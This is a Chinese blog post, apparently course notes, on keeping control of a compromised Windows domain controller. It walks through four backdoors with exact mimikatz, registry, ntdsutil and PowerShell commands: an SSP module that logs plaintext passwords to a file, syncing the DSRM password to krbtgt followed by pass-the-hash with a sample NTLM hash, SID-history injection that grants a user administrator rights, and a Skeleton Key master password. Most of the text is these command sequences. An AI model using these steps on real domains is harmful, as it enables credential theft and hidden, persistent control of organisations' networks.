第141天:内网安全-权限维持&域控后门&SSP&HOOK&DSRM&SID&万能钥匙

目录

[案例一:内网域-权限维持-基于验证 DLL 加载-SSP](#案例一:内网域-权限维持-基于验证 DLL 加载-SSP)

案例二:内网域-权限维持-基于机制账号启用-DSRM

[案例三: 内网域-权限维持-基于用户属性修改-SID-history](#案例三: 内网域-权限维持-基于用户属性修改-SID-history)

案例四:内网域-权限维持-基于登录进程劫持-Skeleton-Key


案例一:内网域-权限维持-基于验证 DLL 加载-SSP

一共有两种方式,两种方式呢,第一种借助mimikatz,但是重启后会失效,第二种呢借助的是mimikatz种的mimilib.dll文件,但是必须重启才能生效

第一种方式,执行下面的命令

复制代码
privilege::debug

misc::memssp

执行以后注销,注意不是重启,在c:/windows/system32/mimilsa.log文件种会出现账号密码保存

重启之后再输入不会更新

第二种

经过实验发现移动dll文件必须是x64位的

将mimilib.dll文件移动到c:/windows/system32下

修改注册表重启生效

复制代码
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
#查看注册表

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
#设置将mimilib导入

powershell中运行

执行完成以后注册表里面会加入对应的值

cs中执行,好像shell就可以执行powershell命令

密码会保存在下面这个文件中

c:\windows\system32\kiwissp.log

真实的环境是建议两种方式一起运行

案例二:内网域-权限维持-基于机制账号启用-DSRM

利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krbtgt进行PTH攻击,实现持续化控制,但适用于系统=>windows server2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

整个操作都是在域控主机上实验

krbtgt用户是Kerberos协议中的一个特殊用户账号,由系统自动生成,用于Kerberos认证过程中的票据签发。

drsm是域还原模式的密码

获取krbtgt的ntml hash

privilege::debug

lsadump::lsa /patch /name:krbtgt #获取krbtgt的hash,通过实验发现这里可以用任何用户

token::elevate #提升权限

lsadump::sam #保存hash

dsrm&krbtgt&NTLM hash同步

#进入ntdsutil

ntdsutil

#修改DSRM的密码

set DSRM password

#使DSRM的密码和指定域用户的密码同步 eg:sync from domain account [域用户名]

sync from domain account krbtgt

#退出

按两次q即可退出(第1次:退出DSRM密码设置模式;第2次退出ntdsutil)

要保证密码未过期

管理员用户的ntlm变成与krbtgt一致了

修改drsm的登录方式,2为允许远程登陆

复制代码
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

利用hash进行攻击

privilege::debug

sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5

dir \\owa2010cn-god\c$

读取文件

案例三: 内网域-权限维持-基于用户属性修改-SID-history

这个实验必须在域控中进行

利用命令查看name,sid

shell wmic useraccount get name,sid

sid里面只有后四位有区别,500多是高权限用户,1000多则为普通用户

通过powershell命令获取某一个用户的sid

Import-Module ActiveDirectory

Get-ADUser webadmin -Properties sidhistory

给与webadmin用户admin权限

privilege::debug

sid::patch

sid::add /sam:webadmin /new:administrator

再次查看会发现多了一个historysid值

webadmin用户就可以成功访问,这里不太清除为什么又要用ip才能够成功

而别的用户无法访问

利用命令查看webadmin时他还是1000多的sid

案例四:内网域-权限维持-基于登录进程劫持-Skeleton-Key

开启万能密码的方式,这个命令时在域控中输入并开启的

privilege::debug

misc::skeleton

正常普通用户利用ipc建立连接

域控中开启万能密码后(必须使用x64位的mimikatz,才能成功)

这个时候mary用户利用mimikatz建立连接成功 ,这里好像是只能写主机名才可以

复制代码
net use \\owa2010cn-god\ipc$ "mimikatz" /user:god\administrator

dir访问文件夹

相关推荐
骥龙6 分钟前
零信任架构:重塑现代企业安全基石
安全·架构
wanhengidc2 小时前
云手机可以息屏挂手游吗?
运维·网络·安全·游戏·智能手机
码熔burning2 小时前
Spring Security 深度学习(六): RESTful API 安全与 JWT
安全·spring·restful·springsecurity
m0_738120723 小时前
CTFshow系列——PHP特性Web93-96
开发语言·安全·web安全·php·ctfshow
Zacks_xdc4 小时前
【前端】使用Vercel部署前端项目,api转发到后端服务器
运维·服务器·前端·安全·react.js
盟接之桥6 小时前
盟接之桥说制造:在安全、确定与及时之间,构建品质、交期与反应速度的动态平衡
大数据·运维·安全·汽车·制造·devops
Suckerbin7 小时前
DarkHole: 2靶场渗透
笔记·安全·web安全·网络安全
喜葵7 小时前
前端安全防护深度实践:从XSS到供应链攻击的全面防御
前端·安全·xss
泰迪智能科技8 小时前
案例分享|企微智能会话风控系统:为尚丰盈铝业筑牢沟通安全防线
安全·企业微信
lingggggaaaa9 小时前
小迪安全v2023学习笔记(七十八讲)—— 数据库安全&Redis&CouchDB&H2database&未授权&CVE
redis·笔记·学习·算法·安全·网络安全·couchdb